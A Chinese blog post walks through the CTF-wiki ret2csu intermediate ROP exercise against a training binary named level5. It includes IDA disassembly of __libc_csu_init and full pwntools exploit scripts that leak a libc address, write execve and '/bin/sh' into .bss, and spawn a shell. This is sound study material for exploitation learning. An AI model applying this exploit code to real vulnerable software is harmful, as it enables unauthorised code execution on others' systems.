我是靠谱客的博主 英勇豌豆,这篇文章主要介绍pwn学习-中级ROP-1CTF-wiki-中级ROP实例复现,现在分享给大家,希望可以做个参考。

CTF-wiki-中级ROP实例复现

ret2csu

libc_csu_init函数

ctf-wiki上的

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
.text:00000000004005C0 ; void _libc_csu_init(void) .text:00000000004005C0 public __libc_csu_init .text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16o .text:00000000004005C0 push r15 .text:00000000004005C2 push r14 .text:00000000004005C4 mov r15d, edi .text:00000000004005C7 push r13 .text:00000000004005C9 push r12 .text:00000000004005CB lea r12, __frame_dummy_init_array_entry .text:00000000004005D2 push rbp .text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry .text:00000000004005DA push rbx .text:00000000004005DB mov r14, rsi .text:00000000004005DE mov r13, rdx .text:00000000004005E1 sub rbp, r12 .text:00000000004005E4 sub rsp, 8 .text:00000000004005E8 sar rbp, 3 .text:00000000004005EC call _init_proc .text:00000000004005F1 test rbp, rbp .text:00000000004005F4 jz short loc_400616 .text:00000000004005F6 xor ebx, ebx .text:00000000004005F8 nop dword ptr [rax+rax+00000000h] .text:0000000000400600 .text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j .text:0000000000400600 mov rdx, r13 .text:0000000000400603 mov rsi, r14 .text:0000000000400606 mov edi, r15d .text:0000000000400609 call qword ptr [r12+rbx*8] .text:000000000040060D add rbx, 1 .text:0000000000400611 cmp rbx, rbp .text:0000000000400614 jnz short loc_400600 .text:0000000000400616 .text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j .text:0000000000400616 add rsp, 8 .text:000000000040061A pop rbx .text:000000000040061B pop rbp .text:000000000040061C pop r12 .text:000000000040061E pop r13 .text:0000000000400620 pop r14 .text:0000000000400622 pop r15 .text:0000000000400624 retn .text:0000000000400624 __libc_csu_init endp

 

自己用IDA查看的

实际使用中,以IDA上看到的为真实情况,所以需要调整一下参数的位置以及堆栈填充数量。

检查安全机制

第一次read函数,参数距离距离EBP80个字节

这里我实际操作中,因为libc_csu_init函数不是直接使用push pop来改变堆栈,所以payload做出相应的调整。这些细节在调试中可以观察到

发送第一段payload后,各个寄存器的值如下,使用脚本如下

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import * from LibcSearcher import LibcSearcher level5 = ELF('./level5') sh = process('./level5') raw_input('debug?') gdb.attach(sh,"b *0x400562") #在IDA里看到的vunable函数里的leave函数地址,调试时在此下断点 write_got = level5.got['write'] main = level5.symbols['main'] csu_pop_addr = 0x400606 csu_call_addr = 0x4005f0 def csu(rbx,rbp,r12,r13,r14,r15,last): #rdx=r15,rsi=r14,edi=r13 payload = 'A'*(0x80+8) payload += p64(csu_pop_addr)+'A'*8+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)+p64(csu_call_addr) payload += 'A'*0x38+p64(last) sh.send(payload) sleep(1) sh.recvuntil('Hello, Worldn') #write(1,write_got,8) and return to main csu(0,1,write_got,1,write_got,8,main) sh.interactive()

 

执行到write函数,参数也对应正确的被识别出来。值得注意的是这里第一个参数和第三个参数的位置反了,所以需要在对应代码里修改。(因为libc_csu_函数不同,所以参数位置不同)同时顺利返回到main函数

开始构造第二段payload

以同样方式再次执行到csu,调用read函数,但是这次没有被识别出来。

最后一段payload以同样方式执行刚刚写入bss段的execve函数

去除调试,直接运行,成功获取权限。

写出exp,将之前不存在的语句写下注释。

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import * from LibcSearcher import LibcSearcher level5 = ELF('./level5') sh = process('./level5') #raw_input('debug?')#调试时打开 #gdb.attach(sh,"b *0x400562") #context.log_level='debug'#调试时打开 write_got = level5.got['write'] main = level5.symbols['main'] read_got = level5.got['read'] bss_base = level5.bss() csu_pop_addr = 0x400606 csu_call_addr = 0x4005f0 def csu(rbx,rbp,r12,r13,r14,r15,last): #call r12(r15,r14,r13),return to last payload = 'A'*(0x80+8) payload += p64(csu_pop_addr)+'A'*8+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)+p64(csu_call_addr) payload += 'A'*0x38+p64(last) sh.send(payload) sleep(1) sh.recvuntil('Hello, Worldn') #write(1,write_got,8) and return to main csu(0,1,write_got,1,write_got,8,main) write_addr=u64(sh.recv()[0:8]) log.success('get write_addr:'+str(write_addr)) sh.recv(100,5)#接受5秒的数据,最多100个 log.success('start to search libc') libc = LibcSearcher('write',write_addr) libc_base = write_addr - libc.dump('write') execve_addr = libc_base + libc.dump('execve') log.success('execve_addr:' +str(execve_addr)) csu(0,1,read_got,0,bss_base,16,main) sh.send(p64(execve_addr)+'/bin/shx00') sh.recvuntil('Hello, Worldn') csu(0,1,bss_base,bss_base+8,0,0,main) sh.interactive()

 

最后

以上就是英勇豌豆最近收集整理的关于pwn学习-中级ROP-1CTF-wiki-中级ROP实例复现的全部内容,更多相关pwn学习-中级ROP-1CTF-wiki-中级ROP实例复现内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(56)

评论列表共有 0 条评论

立即
投稿
返回
顶部